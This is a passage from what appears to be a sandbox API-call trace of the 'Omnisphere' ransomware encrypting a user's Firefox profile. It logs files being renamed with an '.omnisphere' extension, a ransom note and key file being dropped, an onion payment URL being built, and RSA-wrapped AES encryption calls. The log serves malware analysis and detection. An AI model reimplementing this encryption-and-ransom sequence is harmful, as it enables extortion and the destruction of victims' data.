lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json.omnisphere")) returned 1 [0155.834] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.omnisphere.id" [0155.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.836] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.838] CloseHandle (hObject=0x388) returned 1 [0155.838] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.838] CloseHandle (hObject=0x3c0) returned 1 [0155.838] SetEndOfFile (hFile=0x288) returned 1 [0155.838] FlushFileBuffers (hFile=0x288) returned 1 [0156.110] CloseHandle (hObject=0x288) returned 1 [0156.110] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0156.110] GetProcessHeap () returned 0x1600000 [0156.110] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1734688 [0156.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0156.110] GetProcessHeap () returned 0x1600000 [0156.110] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733e28 [0156.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733e28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0156.110] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0156.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0156.111] GetProcessHeap () returned 0x1600000 [0156.111] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17268f8 [0156.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17268f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0156.111] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0156.111] GetProcessHeap () returned 0x1600000 [0156.111] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1733160 [0156.111] PathCombineW (in: pszDest=0x1733160, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0156.111] GetProcessHeap () returned 0x1600000 [0156.111] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17351a0 [0156.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.113] WriteFile (in: hFile=0x288, lpBuffer=0x17351a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17351a0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0156.113] CloseHandle (hObject=0x288) returned 1 [0156.113] GetProcessHeap () returned 0x1600000 [0156.113] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1734688 | out: hHeap=0x1600000) returned 1 [0156.114] GetProcessHeap () returned 0x1600000 [0156.114] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c938 [0156.114] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0156.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.114] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0156.114] CloseHandle (hObject=0x288) returned 1 [0156.114] GetProcessHeap () returned 0x1600000 [0156.114] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0156.114] GetProcessHeap () returned 0x1600000 [0156.114] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0156.114] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x439749, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1 [0156.114] GetProcessHeap () returned 0x1600000 [0156.115] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x1625bd8 [0156.115] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="content-prefs.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" [0156.115] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0156.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.118] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=229376) returned 1 [0156.118] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x37adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0156.118] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0156.148] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38000, lpName=0x0) returned 0x3c0 [0156.148] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c00000 [0156.148] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0156.148] CloseHandle (hObject=0x3c0) returned 1 [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.149] GetTickCount () returned 0x1166cdb [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] GetTickCount () returned 0x1166cea [0156.150] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16691a8) returned 1 [0156.151] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639628) returned 1 [0156.151] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0156.151] CryptDestroyKey (hKey=0x1639628) returned 1 [0156.151] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0156.152] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38000, lpName=0x0) returned 0x3c0 [0156.152] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38000) returned 0x3c00000 [0156.258] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16691a8) returned 1 [0156.259] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0156.259] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.259] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.260] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt 